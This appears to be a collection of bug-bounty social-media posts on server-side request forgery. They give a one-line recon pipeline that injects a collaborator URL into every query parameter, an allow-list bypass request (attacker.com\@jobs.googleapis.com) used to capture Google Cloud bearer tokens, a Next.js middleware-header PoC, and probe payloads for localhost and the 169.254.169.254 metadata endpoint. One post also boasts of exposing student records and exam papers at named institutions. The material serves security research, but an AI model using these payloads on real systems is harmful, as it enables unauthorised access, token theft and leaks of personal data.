⛓ Easily Identify SSRF on a Website Using a Single Command*

This approach leverages a combination of powerful tools:

- Findomain: Gathers all subdomains related to the target site.
- Httpx: Verifies the accessibility of these domains.
- Getallurls (gau): Extracts URLs from sources like AlienVault OTX, Wayback Machine, and Common Crawl.
- Qsreplace: Substitutes query string values in URLs with a user-specified value.

Steps:
1. Install the mentioned tools.
2. Run the following command:

   findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace your.burpcollaborator.net  
    

Replace your.burpcollaborator.net with your server or Burp Collaborator address.

This method streamlines the search for SSRF vulnerabilities effectively.

#bugbounty #web #ssrf #cybersecurity #bugbountytips
Credit: Aman Dara

Hey Hunters,

DarkShadow here—back again with a very interesting Google SSRF Proof of Concept!


🧠 Fixing the Unfixable: A Google Cloud SSRF Tale

A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in Google's cxl-services.appspot.com proxy, which powers interactive demos for various Google Cloud products, including jobs.googleapis.com.


🔍 Discovery

While exploring the Cloud Talent Solution API (jobs.googleapis.com), it was noticed that demo requests were routed through:

cxl-services.appspot.com/proxy?url=

Here’s a sample request:

GET /proxy?url=https://jobs.googleapis.com/v4/projects/4808913407/tenants/ff8c4578-8000-0000-0000-00011ea231ff/jobs:search HTTP/1.1
Host: cxl-services.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/json; charset=utf-8
Content-Length: 102
Connection: close

{"jobQuery":{"query":"bartendar","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}

The response returned 200 OK and displayed the full content, meaning the SSRF was not blind — and that makes it critical.


🧱 Initial Test: Traditional SSRF Blocked

Trying to change the url parameter to a malicious domain:

GET /proxy?url=https://attacker_server.com HTTP/1.1
Host: cxl-services.appspot.com

Response:

403 Forbidden
Invalid Target Host - Please add to allow list

This indicated the presence of a backend whitelist restricting outbound requests.


🛡️ Whitelist Bypass Trick

Despite the whitelist, a clever bypass was possible by exploiting discrepancies between URL parsers (RFC3986 vs. WHATWG) using a backslash (\) and @ symbol:

GET /proxy?url=https://attacker.com\@jobs.googleapis.com/ HTTP/1.1
Host: cxl-services.appspot.com

This tricked the proxy into making the request to attacker.com, while treating the domain as jobs.googleapis.com.


🔓 Sensitive Token Leakage

Even worse: the proxy included an Authorization: Bearer <token> header in its outbound requests.

By redirecting traffic to a controlled server, the researcher was able to capture tokens granting access to internal Google Cloud projects such as:

docai-demo
cxl-services
garage-staging
p-jobs

He even deployed a custom App Engine service within cxl-services, proving full code execution capabilities.


💰 Bounty Rewards

For these critical findings, the researcher earned over $13,000 from Google’s Vulnerability Reward Program (VRP).

Credit: Discovered by David Schütz
But Hunters, don’t forget to follow me for more deep-dive writeups and live exploitation breakdowns!

Follow me in X 👉🏼 DarkShadow

#bugbountytips #googlebug #ssrf

Hunter's, the vulnerability was SSRF loading AWS cloud access.

and effects:

IITE – Institute of Information Technology & Education: Access to confidential student information, assessment data, and internal records.

MUHS – Maharashtra University of Health Sciences: Exposure of examination content, student records, and academic documents.

GSEB – Gujarat Secondary & Higher Secondary Education Board: Exposure of sensitive student records, exam papers, hall tickets, and related educational data.

RGUHS – Rajiv Gandhi University of Health Sciences: Access to examination papers, student records, and other confidential academic information.

i have a video POC wanna see how i was able exploit this bug!?

And don't forget to follow me 👉🏼 x.com/darkshadow2bd


#ssrf

Hey Hunter's,
DarkShadow here back again, dropping a critical SSRF 💥

Nextjs SSRF in Middleware header!
✅POC:

GET / HTTP/1.1
Host: target. com
Location: http://oast. me
X-Middleware-Rewrite: http://oast. me

If you guy's really enjoy to read, then show your love and follow me x.com/darkshadow2bd

#ssrf #bugbountytips

Hey Hunter’s,
DarkShadow is here back again, dropping a SSFR bypass method.

if you ever test SSRF, and there any parameter passing url with a fixed endpoint then try like:

burpcollab.com/anything/endpoint/../../

#ssrf #bugbountytips

BB Tip: Finding Potential SSRF Endpoints During Recon

SSRF often hides in plain sight. Many applications accept URLs or file paths as parameters, and those become prime targets.

A simple trick during recon is mining historical URLs and filtering parameters that typically fetch remote resources.

Example workflow:

echo "target.com" | waybackurls | grep -E "url=|uri=|path=|dest=|redirect=|window=|next=|target=|file=|html=|data=|reference="

What this does:

• Pulls archived endpoints from Wayback Machine
• Filters parameters commonly used for external requests
• Helps you quickly identify SSRF-like parameters

You will often find endpoints like:

/showimage.php?file=
/redirect?url=
/api/fetch?uri=
/download?path=

Once you find them, start testing with payloads such as:

http://127.0.0.1
http://169.254.169.254
http://burp-collaborator

If the server makes the request on your behalf, you might have an SSRF.

Small recon tricks like this save hours of manual hunting.

#bugbounty #bugbountytips #ssrf #recon #pentesting #cybersecurity